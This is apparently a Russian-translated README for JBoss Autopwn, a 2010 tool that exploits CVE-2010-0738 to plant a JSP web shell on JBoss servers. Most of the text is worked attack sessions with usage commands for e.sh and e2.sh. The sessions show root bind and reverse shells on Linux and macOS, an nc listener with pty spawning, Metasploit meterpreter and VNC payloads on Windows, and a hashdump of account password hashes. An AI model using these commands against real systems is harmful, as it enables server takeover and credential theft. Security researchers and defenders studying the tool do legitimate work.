gitcollect/jboss-autopwnJBoss Autopwn CVE-2010-0738 JBoss обход аутентификации
JBoss Autopwn, представленный на BlackHat Europe 2010 — эта версия включает CVE-2010-0738, уязвимость обхода аутентификации JBoss через манипуляцию с VER-запросами, обнаруженную Minded Security.
C. Papathanasiou 2010
Этот скрипт JBoss развертывает JSP-шелл на целевом сервере JBoss AS. После развертывания скрипт использует его возможности загрузки и выполнения команд для обеспечения интерактивного сеанса.
Возможности включают:
Зависимости:
Используйте e.sh для целей *nix, использующих bind_tcp и reverse_tcp
./e.sh target_ip tcp_port
Используйте e2.sh для целей Windows, которые могут выполнять полезные нагрузки Metasploit для Windows
/e2.sh target_ip tcp_port
Оболочка Linux (bind shell):
[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан в /tmp
[x] Развертывание .war-файла:
http://192.168.1.2:8080/browser/browser/browser.jsp
[x] Выполнение от пользователя...:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[x] Имя сервера (uname)...:
Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
[!] Хотите загрузить обратную (reverse) или прямую (bind) оболочку? bind
[!] На каком порту должна прослушиваться прямая оболочка? 31337
[x] Загрузка полезной нагрузки прямой оболочки...
[x] Проверка успешности загрузки...
-rwxrwxrwx 1 root root 172 2009-11-22 19:48 /tmp/payload
[x] У вас должна быть прямая оболочка на 192.168.1.2:31337..
[x] Переход в оболочку...
Connection to 192.168.1.2 31337 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
python -c 'import pty; pty.spawn("/bin/bash")'
[root@nitrogen /]# полная интерактивная оболочка :-)
Обратная оболочка Linux (reverse shell):
[root@nitrogen jboss]# nc -lv 31337 &
[1] 15536
[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан в /tmp
[x] Развертывание .war-файла:
http://192.168.1.2:8080/browser/browser/browser.jsp
[x] Выполнение от пользователя...:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[x] Имя сервера (uname)...:
Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
[!] Хотите загрузить обратную (reverse) или прямую (bind) оболочку? reverse
[!] На каком порту вы хотите принять обратную оболочку? 31337
[x] Загрузка полезной нагрузки обратной оболочки...
[x] Проверка успешности загрузки...
-rwxrwxrwx 1 root root 157 2009-11-22 19:49 /tmp/payload
Connection from 192.168.1.2 port 31337 [tcp/*] accepted
[x] У вас должна быть обратная оболочка на localhost:31337..
[root@nitrogen jboss]# jobs
[1]+ Running nc -lv 31337 &
[root@nitrogen jboss]# fg 1
nc -lv 31337
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
python -c 'import pty; pty.spawn("/bin/bash")';
[root@nitrogen /]# полная интерактивная tty :-)
full interactive tty :-)
Против MacOS X (прямая оболочка):
[root@nitrogen jboss]# ./e.sh 192.168.1.5 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан в /tmp
[x] Развертывание .war-файла:
http://192.168.1.5:8080/browser/browser/browser.jsp
[x] Выполнение от пользователя...:
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
[x] Имя сервера (uname)...:
Darwin helium-2.tiscali.co.uk 9.7.1 Darwin Kernel Version 9.7.1: Thu Apr 23 13:52:18 PDT 2009; root:xnu-1228.14.1~1/RELEASE_I386 i386
[!] Хотите загрузить обратную (reverse) или прямую (bind) оболочку? bind
[!] На каком порту должна прослушиваться прямая оболочка? 31337
[x] Загрузка полезной нагрузки прямой оболочки...
[x] Проверка успешности загрузки...
-rwxrwxrwx 1 root wheel 172 22 Nov 19:58 /tmp/payload
[x] У вас должна быть прямая оболочка на 192.168.1.5:31337..
[x] Переход в оболочку...
Connection to 192.168.1.5 31337 port [tcp/*] succeeded!
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
python -c 'import pty; pty.spawn("/bin/bash")'
bash-3.2# id
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
bash-3.2#
Аналогично для обратной оболочки.
Прямая оболочка Windows (bind shell):
[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан на c:
[x] Развертывание .war-файла:
[x] Веб-оболочка включена!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] Имя сервера...:
Host Name . . . . . . . . . . . . : aquarius
[x] Вы хотите обратную (reverse), прямую (bind) оболочку или VNC(bind)? bind
[x] На каком порту должна прослушиваться ваша прямая оболочка? 31337
[x] Загрузка полезной нагрузки прямой оболочки...
[x] Проверка правильности загрузки прямой оболочки...
[x] Прямая оболочка загружена: 22/11/2009 18:35 87,552 payload.exe
[x] Выполнение прямой оболочки...
[x] Прямая оболочка выполнена!
[x] Возврат к metasploit...
[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.2:60535 -> 192.168.1.225:31337)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\chris\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp8376972724011216327browserwin-exp.war>
Обратная оболочка Windows с полезной нагрузкой Metasploit meterpreter:
[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан на c:
[x] Развертывание .war-файла:
[x] Веб-оболочка включена!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] Имя сервера...:
Host Name . . . . . . . . . . . . : aquarius
[x] Вы хотите обратную (reverse), прямую (bind) оболочку или VNC(bind)? reverse
[x] На каком порту вы хотите принять обратную оболочку? 31337
[x] Загрузка полезной нагрузки обратной оболочки...
[x] Проверка правильности загрузки обратной оболочки...
[x] Обратная оболочка загружена: 22/11/2009 18:46 87,552 payload.exe
[x] У вас есть 20 секунд на запуск metasploit, прежде чем я отправлю обратную оболочку.. ctrl-z, bg затем введите:
framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E
[x] Выполнение обратной оболочки...
[x] Обратная оболочка выполнена!
[root@nitrogen jboss]#
В терминале 2:
[root@nitrogen jboss]# framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on port 31337
[*] Starting the payload handler...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.2:31337 -> 192.168.1.225:1266)
meterpreter > use priv
Loading extension priv...success.
meterpreter > hashdump
Administrator:500:xxxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxx:::
chris:1005:xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1004:5cb061f95caf6a9dc7d1bb971b333632:4ac4ee4210529e17665db586df844736:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:293c804ee7b7f93b3919344842b9c98a:::
__vmware_user__:1007:aad3b435b51404eeaad3b435b51404ee:a9fa3213d080de5533c7572775a149f5:::
meterpreter >
Оболочка VNC Windows:
[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан на c:
[x] Развертывание .war-файла:
[x] Веб-оболочка включена!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] Имя сервера...:
Host Name . . . . . . . . . . . . : aquarius
[x] Вы хотите обратную (reverse), прямую (bind) оболочку или VNC(bind)? vnc
[x] На каком порту должна прослушиваться ваша оболочка VNC? 21
[x] Загрузка полезной нагрузки оболочки VNC...
[x] Проверка правильности загрузки оболочки VNC...
[x] Оболочка VNC загружена: 22/11/2009 19:14 87,552 payload.exe
[x] Выполнение оболочки VNC...
[x] Оболочка VNC выполнена!
[x] Возврат к metasploit....
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (197120 bytes)
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer in the background.
[*] VNC Server session 1 opened (192.168.1.2:52682 -> 192.168.1.225:21)
[*] VNC connection closed.
[root@nitrogen jboss]#
>> Окно VNC открывается здесь.. :-)
JBoss Autopwn — скрипт JBoss для получения удаленного доступа к оболочке Создано Кристианом Г. Папатанасиу (Christian G. Papathanasiou) Copyright (C) 2009-2011 Trustwave Holdings, Inc.
Эта программа является свободным программным обеспечением; вы можете распространять и/или модифицировать ее в соответствии с условиями Стандартной общественной лицензии GNU (General Public License) в том виде, в каком она опубликована Free Software Foundation; либо версии 2 лицензии, либо (по вашему выбору) любой более поздней версии.
Эта программа распространяется в надежде, что она будет полезной, но БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ; даже без подразумеваемых гарантий КОММЕРЧЕСКОЙ ЦЕННОСТИ или ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ. См. Стандартную общественную лицензию GNU для получения более подробной информации.
Вы должны были получить копию Стандартной общественной лицензии GNU вместе с этой программой; если это не так, напишите в Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.